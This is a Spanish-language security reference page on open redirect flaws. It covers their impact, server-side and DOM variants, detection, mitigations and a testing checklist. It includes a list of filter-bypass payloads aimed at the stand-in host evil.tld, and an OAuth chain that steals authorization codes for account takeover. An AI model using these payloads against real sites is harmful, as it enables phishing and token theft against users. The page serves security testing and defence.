Saltearse al contenido

Open redirect

La app redirige a una URL que controla el usuario sin validarla. Por sí solo es de impacto bajo-medio, pero es un multiplicador de ataques: da credibilidad a un phishing (el dominio legítimo redirige al falso), permite robar el code/token de OAuth, saltarse filtros SSRF/validaciones de “mismo dominio”, y a veces escalar a XSS cuando el destino se mete en un sink peligroso.

  • Phishing creíble: el enlace es https://legit.tld/... y acaba en el sitio del atacante.
  • Robo de credenciales OAuth/SSO: si el redirect_uri del proveedor permite un open redirect del cliente, el code acaba en tu dominio (ATO; ver ficha OAuth).
  • Bypass de validaciones que confían en “la URL empieza por nuestro dominio”.
  • XSS (DOM-based) si el valor llega a location/href como javascript:.

Dos variantes según dónde se decide el redirect:

  • Server-side: el servidor responde Location: <valor del usuario> (302).
  • DOM-based (client-side): JavaScript hace location = param, location.href = ..., window.open(param), location.assign/replace(param) con un source controlable (location.search/hash).

Parámetros típicos: ?next=, ?url=, ?returnTo=, ?redirect=, ?dest=, ?continue=, ?r=, ?u=, ?target=, ?redirect_uri=.

Localiza esos parámetros (en login, logout, SSO, “volver a”), y prueba si el valor acaba en una redirección. Para DOM, busca los sinks (location, window.open) con DOM Invader o DevTools.

?next=https://evil.tld # directo
?next=//evil.tld # protocol-relative (hereda esquema)
?next=/\evil.tld # bypass de "empieza por /"
?next=https:evil.tld # sin // (algunos navegadores)
?next=https://legit.tld@evil.tld # userinfo: el host real es evil.tld
?next=https://evil.tld#legit.tld # fragmento decorativo
?next=https://evil.tld\.legit.tld # backslash
?next=https%3a%2f%2fevil.tld # URL-encode para saltar filtros
?next=https://legit.tld.evil.tld # subdominio del atacante (si valida "contiene legit.tld")
?next=javascript:alert(document.domain) # DOM open redirect -> XSS

Pruébalos contra filtros de lista negra y de “debe contener nuestro dominio”, que son los más débiles.

  • OAuth ATO: GET /authorize?redirect_uri=https://legit.tld/callback?next=//evil.tld → tras el consentimiento, el code se reenvía a evil.tld. Captúralo y canjéalo.
  • SSRF: un open redirect en un endpoint que el servidor sigue permite saltar la lista blanca de SSRF.

Burp Suite, ffuf para descubrir parámetros, y listas de bypass de PayloadsAllTheThings.

Redirecciones Location hacia dominios externos a partir de parámetros del usuario; picos de tráfico con ?next= hacia dominios no propios tras una campaña.

  1. No usar URLs absolutas del usuario para redirigir. Preferir rutas relativas validadas (que empiecen por / y no por // ni /\) o un mapa de destinos (id -> url) en servidor.
  2. Si hay que permitir dominios, lista blanca exacta de host (parsear la URL y comparar el host, no “contiene”).
  3. Página intersticial de aviso al salir del dominio.
  4. En clientes OAuth, redirect_uri con coincidencia exacta (ver ficha OAuth).

Corregir la validación, revisar si hubo encadenamiento con OAuth, y avisar si se usó para phishing contra usuarios.

  • Open redirect es endémico y suele reportarse como parte de cadenas (OAuth ATO, phishing dirigido) más que como fallo aislado; aparece de forma constante en bug bounty, incluso en grandes proveedores de identidad.
  • Microsoft, Google y otros han pagado por open redirects usados para robo de token en flujos de login.

CVEs/incidentes en NVD (https://nvd.nist.gov/vuln/search) y GitHub Advisories (https://github.com/advisories).

  • Localizados parámetros de redirección (server y DOM).
  • Probados bypasses (//, /\, @, #, codificación, subdominio).
  • Evaluado javascript: (DOM → XSS).
  • Evaluado encadenamiento (OAuth code/token, SSRF, phishing).